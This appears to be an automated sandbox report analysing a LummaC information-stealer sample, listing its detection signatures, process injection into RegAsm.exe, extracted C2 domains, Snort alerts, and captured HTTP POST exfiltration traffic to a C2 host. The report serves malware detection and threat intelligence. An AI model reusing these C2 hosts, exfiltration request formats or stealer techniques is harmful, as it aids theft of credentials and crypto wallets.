Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe
Analysis ID:	1436373
MD5:	bab05624883fc9d5fe21f6e26c509c80
SHA1:	b9dfddb30341606e41f19b369995e1fe619214ae
SHA256:	ac9128c77beb18f3e26656a39e6df34964866ce61e8bc2424afca4c45d1aed8d
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe (PID: 6652 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe" MD5: BAB05624883FC9D5FE21F6E26C509C80)

RegAsm.exe (PID: 6676 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "pearcyworkeronej.shop"], "Build id": "uYY3NI--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (pearcyworkeronej .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	05/04/24-22:22:48.334726
SID:	2052368
Source Port:	49731
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.131.204

Timestamp:	05/04/24-22:22:56.178293
SID:	2052369
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.131.204

Timestamp:	05/04/24-22:22:57.267481
SID:	2052369
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.131.204

Timestamp:	05/04/24-22:22:53.534195
SID:	2052369
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.131.204

Timestamp:	05/04/24-22:22:49.603300
SID:	2052369
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.131.204

Timestamp:	05/04/24-22:22:52.371820
SID:	2052369
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.131.204

Timestamp:	05/04/24-22:22:58.672362
SID:	2052369
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.131.204

Timestamp:	05/04/24-22:22:51.059487
SID:	2052369
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.131.204

Timestamp:	05/04/24-22:22:48.500879
SID:	2052369
Source Port:	49730
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Avira: detected

Found malware configuration

Source: 1.2.RegAsm.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "pearcyworkeronej.shop"], "Build id": "uYY3NI--"}

Multi AV Scanner detection for domain / URL

Source: sweetsquarediaslw.shop

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Virustotal: Detection: 46%

Perma Link

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: boredimperissvieos.shop
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: holicisticscrarws.shop
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: sweetsquarediaslw.shop
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: plaintediousidowsko.shop
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: miniaturefinerninewjs.shop
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: zippyfinickysofwps.shop
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: obsceneclassyjuwks.shop
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: acceptabledcooeprs.shop
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: pearcyworkeronej.shop
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp	String decryptor: uYY3NI--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00416682 CryptUnprotectData,

1_2_00416682

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe

Code function: 0_2_00FE8F57 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00FE8F57

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0100BA68
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_01038D48
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	0_2_01007C08
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_0103CCE8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_0103CF08
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 4x nop then cmp dword ptr [ebx+ecx*8], FB49C974h	0_2_01037E38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], CCC8066Ah	1_2_0043C461
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	1_2_00415470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	1_2_00424478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	1_2_00424478
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 5C3924FCh	1_2_0043C615
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	1_2_0043E8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_00426948
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+20h]	1_2_004279F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edi], al	1_2_00427059
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000090h]	1_2_00413038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_0043E09F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_004350A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then lea eax, dword ptr [edi+04h]	1_2_0042213D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+04h]	1_2_0042213D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ecx, word ptr [esi]	1_2_0043D265
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	1_2_0041D35E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	1_2_0041D35E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+20h]	1_2_00428410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+20h], 00000000h	1_2_00411419
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_0043C436
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_0043D4E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_0043D48A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+20h]	1_2_00416555
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], CCC8066Ah	1_2_0043C571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+0Ch]	1_2_0043C571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	1_2_0040D650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	1_2_00402650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, dword ptr [esi+04h]	1_2_004226BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edi, dword ptr [esi+04h]	1_2_00422760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	1_2_004097F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_004258B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+7Ch], ecx	1_2_00426953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	1_2_0043A930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [00447EE8h]	1_2_00424982
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edi, cx	1_2_00428A13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+ecx*8], FB49C974h	1_2_00439A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	1_2_0043EAF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00417ABA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_0041DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 9EDBE8FEh	1_2_0041DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000090h]	1_2_00414D32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, eax	1_2_0041DDC7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov esi, dword ptr [esp+0Ch]	1_2_0040FE47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp byte ptr [ecx], 00000000h	1_2_00411E13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	1_2_0043DE9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp edx	1_2_0043DEB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, eax	1_2_0041DF3A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx esi, ch	1_2_0043DFE0

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2052368 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (pearcyworkeronej .shop) 192.168.2.4:49731 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052369 ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) 192.168.2.4:49730 -> 172.67.131.204:443
Source: Traffic	Snort IDS: 2052369 ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) 192.168.2.4:49731 -> 172.67.131.204:443
Source: Traffic	Snort IDS: 2052369 ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) 192.168.2.4:49732 -> 172.67.131.204:443
Source: Traffic	Snort IDS: 2052369 ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) 192.168.2.4:49733 -> 172.67.131.204:443
Source: Traffic	Snort IDS: 2052369 ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) 192.168.2.4:49734 -> 172.67.131.204:443
Source: Traffic	Snort IDS: 2052369 ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) 192.168.2.4:49735 -> 172.67.131.204:443
Source: Traffic	Snort IDS: 2052369 ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) 192.168.2.4:49736 -> 172.67.131.204:443
Source: Traffic	Snort IDS: 2052369 ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI) 192.168.2.4:49737 -> 172.67.131.204:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: boredimperissvieos.shop
Source: Malware configuration extractor	URLs: holicisticscrarws.shop
Source: Malware configuration extractor	URLs: sweetsquarediaslw.shop
Source: Malware configuration extractor	URLs: plaintediousidowsko.shop
Source: Malware configuration extractor	URLs: miniaturefinerninewjs.shop
Source: Malware configuration extractor	URLs: zippyfinickysofwps.shop
Source: Malware configuration extractor	URLs: obsceneclassyjuwks.shop
Source: Malware configuration extractor	URLs: acceptabledcooeprs.shop
Source: Malware configuration extractor	URLs: pearcyworkeronej.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pearcyworkeronej.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: pearcyworkeronej.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18158Host: pearcyworkeronej.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8779Host: pearcyworkeronej.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: pearcyworkeronej.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7079Host: pearcyworkeronej.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1392Host: pearcyworkeronej.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 585666Host: pearcyworkeronej.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: pearcyworkeronej.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pearcyworkeronej.shop

Source: RegAsm.exe, 00000001.00000002.1733951463.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1733684610.0000000000E75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pearcyworkeronej.shop/
Source: RegAsm.exe, 00000001.00000002.1734058125.0000000000EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pearcyworkeronej.shop/api
Source: RegAsm.exe, 00000001.00000002.1734058125.0000000000EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pearcyworkeronej.shop/apibu4
Source: RegAsm.exe, 00000001.00000002.1734058125.0000000000EED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pearcyworkeronej.shop/s
Source: RegAsm.exe, 00000001.00000002.1733951463.0000000000ECA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pearcyworkeronej.shop:443/api

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.204:443 -> 192.168.2.4:49737 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00430520 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_00430520

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00430520 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_00430520

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00431CAA GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

1_2_00431CAA

Source: SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe, 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: RegisterRawInputDevices

memstr_8f54870f-c

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_0103D918	0_2_0103D918
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_01004898	0_2_01004898
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_01038228	0_2_01038228
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Code function: 0_2_0103D288	0_2_0103D288
